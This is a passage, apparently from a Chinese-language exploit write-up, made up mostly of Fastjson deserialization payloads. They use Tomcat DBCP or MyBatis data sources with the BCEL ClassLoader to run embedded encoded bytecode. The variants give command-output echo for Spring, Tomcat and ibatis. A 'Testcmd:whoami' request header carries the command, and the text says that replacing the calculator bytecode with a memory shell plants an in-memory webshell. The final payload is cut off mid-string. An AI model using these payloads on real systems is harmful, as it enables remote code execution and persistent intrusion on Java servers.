                 "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$C1$U$3d$85$91$c1qx$L$8aOX$J$s$ca$c6$j$c6$8d$d1$d5$a8D$M$aeKm$b08L$c9P$M$7f$e4$da$8d$g$X$7e$80$l$a5$deA$p$Y$db$f4$de$de$d3$d3sz$fb$fe$f1$fa$G$e0$AU$H6$96$j$UQJb$r$ca$ab6$ca6$d6l$ac3$q$OU$a0$cc$RC$bcV$ef0X$c7$faF2d$3c$V$c8$f3$f1$a0$x$c3$x$de$f5$J$c9$7bZp$bf$c3C$V$d5$3f$a0en$d5$88$n$eb$J$3dh$c8$c9$60$e8$cbFK$8b$sC$aam$b8$b8$3b$e3$c3$vsjVfp$daz$i$Ky$aa$a2$cbIb$ee$f7$f9$3dw$91$c4$a2$8d$N$X$9b$d8$o$t$3d$94Ae$8fW$c8O$8c$7dnt$e8b$h$V$86B$c4n$f8$3c$e85N$sB$O$8d$d2$BC$fa$af9$3dgF$bb$e8$f6$a50$M$b9$Zt9$O$8c$g$90$bf$d3$93$e6$b7$u$d6$ea$de$3f$O$f5a$c9$89$q$c9$9d$da$dci$db$84$w$e85$e7$_$b4B$z$e4h$d4D$V$J$fa$edh0$9a$d4$XE$87$aa$3eb4$81$fc$ee3$d8$Lb$f9$f8$T$ac$eb$HX$de$p1$y$a4$90$c5$C$e2X$oN$89v$m$cc$o$ad$UidI1GJ$$$a1$$$b1I$85$f04$e5$M$ad$yb$9f$U$98$fd$jr$91s$9e$f0$Y$K_$e33$5d$f4$D$C$A$A"
         },
     }: "x" }

成功执行，把弹计算器的字节码替换为内存马，即可利用bcel写内存马。

SpringEcho 回显

{"x":{{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$ff$c1$b3$c0$ca$J$ac$ca$a19$d0$c2$w$80$m$f5$7c$TY$5b$cd$5c$5cC$zO$dedQ$9d$a7$aee$d4u$O$b5Y$M$faO$60$7d$fc$E6$c4$83$e28Zsh$cba$e38$da$D$j9l$caas$O$9d$T$b8$89$e2$m$d7Jl$d7$c6P5w$M$VA$ff$E$b6$e4$d0$e50$Q$c5$97$85$ff$m$cfe$_$ae$9e$3c$b8$b8$ec$85$t$b2$f0la$8d$d9$D$99pYG$f0$earm$a5$a7$83$e9$p$I$d1$w$d0$c9O$cdZ$82$f9$84$f1E$84$ecZ$ccB$3d5$edZ$94S$dbV$90t$r$c9W$93$86$d9$84$ec$wh$84$f8$M$e6$e2$m$e6$e1$k$92$ba$9f$d0$7f$M$L$f0$M$W$e2$3c$Wq$d5X$ccu$e2Zn$L$96p$fb$b0$94$bb$h$cb$b8$a3$Iq$e7Q$e7$aa$40$bd$ab$92$90U$8b$88k9$9a$5c$x$b0$dc$b5$Ks$5d$eb$b0$c2$d5$86$h$5d$j$uqua$jy$b9$c6$b5$8d$feU$ed$b5$bb$ae$fc$o$aa9$k$L$b9K4$t$7c$f6$8e$c7$ed$3c$ee$a0$v$A$da$ca$d4d$b3x$f4s$X$f0$a4$3d$Yv$bc$84C$dby$uuR$c5$L$f0$bd$I$ef$r$g$3fn$5b$Q$f87$bc$ad$q$c3$e6y$82$d4$bb$a0$fe$H$d8$3e$ebc$Z$Q$A$A"}}:"a"}}

Tomcat 回显

{
    "a": {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "b": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "c": {
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$ff$c1$b3$c0$ca$J$ac$ca$a19$d0$c2$w$80$m$f5$7c$TY$5b$cd$5c$5cC$zO$dedQ$9d$a7$aee$d4u$O$b5Y$M$faO$60$7d$fc$E6$c4$83$e28Zsh$cba$e38$da$D$j9l$caas$O$9d$T$b8$89$e2$m$d7Jl$d7$c6P5w$M$VA$ff$E$b6$e4$d0$e50$Q$c5$97$85$ff$m$cfe$_$ae$9e$3c$b8$b8$ec$85$t$b2$f0la$8d$d9$D$99pYG$f0$earm$a5$a7$83$e9$p$I$d1$w$d0$c9O$cdZ$82$f9$84$f1E$84$ecZ$ccB$3d5$edZ$94S$dbV$90t$r$c9W$93$86$d9$84$ec$wh$84$f8$M$e6$e2$m$e6$e1$k$92$ba$9f$d0$7f$M$L$f0$M$W$e2$3c$Wq$d5X$ccu$e2Zn$L$96p$fb$b0$94$bb$h$cb$b8$a3$Iq$e7Q$e7$aa$40$bd$ab$92$90U$8b$88k9$9a$5c$x$b0$dc$b5$Ks$5d$eb$b0$c2$d5$86$h$5d$j$uqua$jy$b9$c6$b5$8d$feU$ed$b5$bb$ae$fc$o$aa9$k$L$b9K4$t$7c$f6$8e$c7$ed$3c$ee$a0$v$A$da$ca$d4d$b3x$f4s$X$f0$a4$3d$Yv$bc$84C$dby$uuR$c5$L$f0$bd$I$ef$r$g$3fn$5b$Q$f87$bc$ad$q$c3$e6y$82$d4$bb$a0$fe$H$d8$3e$ebc$Z$Q$A$A"
    }
}

abitis 回显

适用于weblogic、jboss等非tomcat中间件且引入了ibatis组件的情况

<dependency>
    <groupId>org.mybatis</groupId>
  <artifactId>mybatis</artifactId>
  <version>3.5.2</version>
</dependency>
POST

Testcmd:whoami

{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"{$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$